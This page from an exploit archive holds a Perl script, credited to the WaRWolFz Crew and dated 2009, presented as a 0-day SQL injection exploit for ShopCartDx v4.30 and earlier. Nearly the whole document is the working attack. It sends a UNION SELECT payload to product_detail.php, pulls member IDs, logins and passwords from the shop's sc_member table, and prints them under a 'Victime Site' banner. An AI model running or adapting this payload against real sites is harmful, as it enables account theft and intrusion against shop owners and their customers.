Home / os / win10

shopcartdx430-sql.txt

Posted on 03 July 2009

#!/usr/bin/perl
#[0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote SQL Injection
Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my $Member_ID = shift or usage();

my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link (Example: http://e-topbiz.com/trafficdemos/shopcartdx1/)
my $Referrer = "http://warwolfz.altervista.org/";

sub SQL_Injection{
my ($MID) = @_;
return "./product_detail.php?cid=9&pid=-1 UNION SELECT
1,2,CONCAT_WS(CHAR(32,58,32),mid,login,password),4,5,6,7,8,9,10,11,12,13,14,15,16
FROM sc_member WHERE mid=${MID}/*";
}

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent => 'Mozilla/5.0',
max_redirect => 0,
cookie_jar => $Cookies,
) or die $!;

my $Get = $UserAgent->get($HostName.SQL_Injection($Member_ID));

if($Get->content =~ /([0-9]{1,5}) : ([a-zA-Z0-9-_.]{2,15}) :
([a-zA-Z0-9]{1,15})/i){
refresh($HostName, $1, $2, $3);
print " * Exploit Successed                                  *
";
print " ------------------------------------------------------

";
system("pause");
}else{
refresh($HostName, "", "", "");
print " * Error extracting sensible data.
";
print " * Exploit Failed                                     *
";
print " ------------------------------------------------------ 

";
}


sub usage{
system("cls");
{
print " 
 [0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote
SQL Injection Exploit
";
print " ------------------------------------------------------ 
";
print " * USAGE:                                             *
";
print " * cd [Local Disk]:\[Directory Of Exploit]\           *
";
print " * perl name_exploit.pl [uid]                         *
";
print " ------------------------------------------------------ 
";
print " *         Powered By Dante90, WaRWolFz Crew          *
";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *
";
print " ------------------------------------------------------ 
";
};
exit;
}

sub refresh{
system("cls");
{
print " 
 [0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote
SQL Injection Exploit
";
print " ------------------------------------------------------ 
";
print " * USAGE:                                             *
";
print " * cd [Local Disk]:\[Directory Of Exploit]\           *
";
print " * perl name_exploit.pl [uid]                         *
";
print " ------------------------------------------------------ 
";
print " *         Powered By Dante90, WaRWolFz Crew          *
";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *
";
print " ------------------------------------------------------ 
";
};
print " * Victime Site: " . $_[0] . "
";
print " * Member ID: " . $_[1] . "
";
print " * Login: " . $_[2] . "
";
print " * Password: " . $_[3] . "
";
}

#WaRWolFz Crew

 

TOP